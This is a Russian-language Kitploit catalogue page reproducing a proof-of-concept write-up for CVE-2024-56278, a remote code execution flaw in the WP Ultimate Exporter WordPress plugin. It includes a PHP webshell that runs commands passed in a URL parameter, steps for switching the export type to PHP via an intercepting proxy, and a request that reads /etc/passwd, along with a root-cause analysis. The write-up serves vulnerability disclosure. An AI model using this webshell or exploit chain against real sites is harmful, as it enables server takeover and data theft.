Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/dottak/cve-2024-56278
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьРазработка Полезной Нагрузки
GitHubdottak/cve-2024-56278

CVE-2024-56278

Доказательство концепции эксплуатации CVE-2024-56278 — уязвимости удалённого выполнения кода в плагине WP Ultimate Exporter для WordPress, демонстрирующее загрузку файла в PHP-вебшелл.

Репозиторий
71 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-56278

1️⃣ Тип компонента

Плагин WordPress

2️⃣ Детали компонента

Название компонента WP Ultimate Exporter

Уязвимая версия <= 2.9.1

Слаг компонента wp-ultimate-exporter

Ссылка на компонент https://wordpress.org/plugins/wp-ultimate-exporter/

3️⃣ OWASP 2017: TOP 10

Класс уязвимости A4: Небезопасный дизайн

Тип уязвимости Удалённое выполнение кода (RCE)

4️⃣ Предварительные условия

Администратор

5️⃣ Детали уязвимости

👉 Краткое описание

Плагин WP Ultimate Exporter является дополнением к плагину WP Ultimate CSV Importer. Этот плагин позволяет экспортировать все записи, товары, заказы, возвраты и данные пользователей в форматах CSV, XLS, XML и JSON. При экспорте файлы создаются в пути загрузки, и плагин только передаёт содержимое этих файлов пользователям.

В плагине WP Ultimate Exporter версии 2.9.1 и ниже при запросе экспорта данных, если расширение файла в данных запроса установлено как PHP, в пути загрузки создаётся PHP-файл. Поэтому, если содержимое созданного файла содержит PHP-синтаксис, возникает уязвимость удалённого выполнения кода (RCE), поскольку PHP-синтаксис выполняется при обращении к этому файлу.

👉 Как воспроизвести (PoC)

⚠️ Поскольку плагин 'WP Ultimate Exporter' является дополнением к плагину 'WP Ultimate CSV Importer', оба плагина должны быть установлены.

  1. Создайте новую запись с помощью редактора кода (сочетание клавиш: ⇧ ⌥ ⌘ M) со следующим содержимым:

    root@kitploit:~
    <pre>
    	<?php
    	    if(isset($_GET['cmd']))
    	    {
    	        system($_GET['cmd']);
    	    }
    	?>
    </pre>
    
  2. Перейдите на вкладку 'Export' плагина WP Ultimate Exporter. Доступ к ней можно получить, нажав на вкладку 'Export' в панели управления плагина WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).

  3. Запустите прокси-инструмент (например, BurpSuite) для перехвата пакетов запросов и выполните следующие шаги с включённым перехватом.

  4. Затем выберите 'Posts' в разделе 'Select the module to Export Data' и перейдите к следующему шагу.

image

  1. Затем в разделе 'To export data based on the filters' установите следующие параметры и нажмите кнопку 'EXPORT'.
    • Export File Name Введите 'webshell'
    • Advanced Settings Выберите 'CSV'

image

  1. На этом этапе на URL-адрес /wp-admin/admin-ajax.php отправляется запрос методом POST для экспорта данных. Измените значение exp_type в данных запроса с csv на php, затем нажмите Forward.

image

  1. Введите /wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd в адресной строке браузера, чтобы отобразить содержимое файла /etc/passwd на сервере, где установлен WordPress. Это демонстрирует уязвимость RCE.

image

👉 Дополнительная информация (необязательно)

[Причина уязвимости]

При экспорте данных в плагине WP Ultimate Exporter вызывается функция parseData в файле /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php.

На этом этапе не выполняется никакой фильтрации данных запроса exp_type, определяющих формат экспортируемых данных, и значение напрямую вставляется в переменную-член $this->exportType.

image

Впоследствии вызывается функция proceedExport для сохранения данных в файл. На этом этапе при инициализации переменной $file, определяющей путь хранения файла, переменная-член $this->exportType также используется без какой-либо фильтрации.

image

Впоследствии путь к файлу, хранящийся в переменной $file, передаётся в качестве аргумента функции file_put_contents, и на этом этапе файл сохраняется с расширением, указанным в данных запроса exp_type, которое применяется напрямую.

image

Поэтому, когда данные записи, содержащие код Web Shell, сохраняются как PHP-файл и к этому файлу осуществляется доступ, возникает уязвимость удалённого выполнения кода (RCE), поскольку PHP-код выполняется.

image

[Реализация и выполнение PoC-кода]

  1. Откройте PoC-код в редакторе и введите адрес сайта WordPress и учётные данные администратора.

image

  1. Затем введите следующую команду для выполнения PoC-кода.

    Требуемый модуль requests

    root@kitploit:~
    python poc.py
    

    image

6️⃣ Демонстрация эксплойта

video

7️⃣ Ссылки

  • https://nvd.nist.gov/vuln/detail/CVE-2024-56278
Скачать инструмент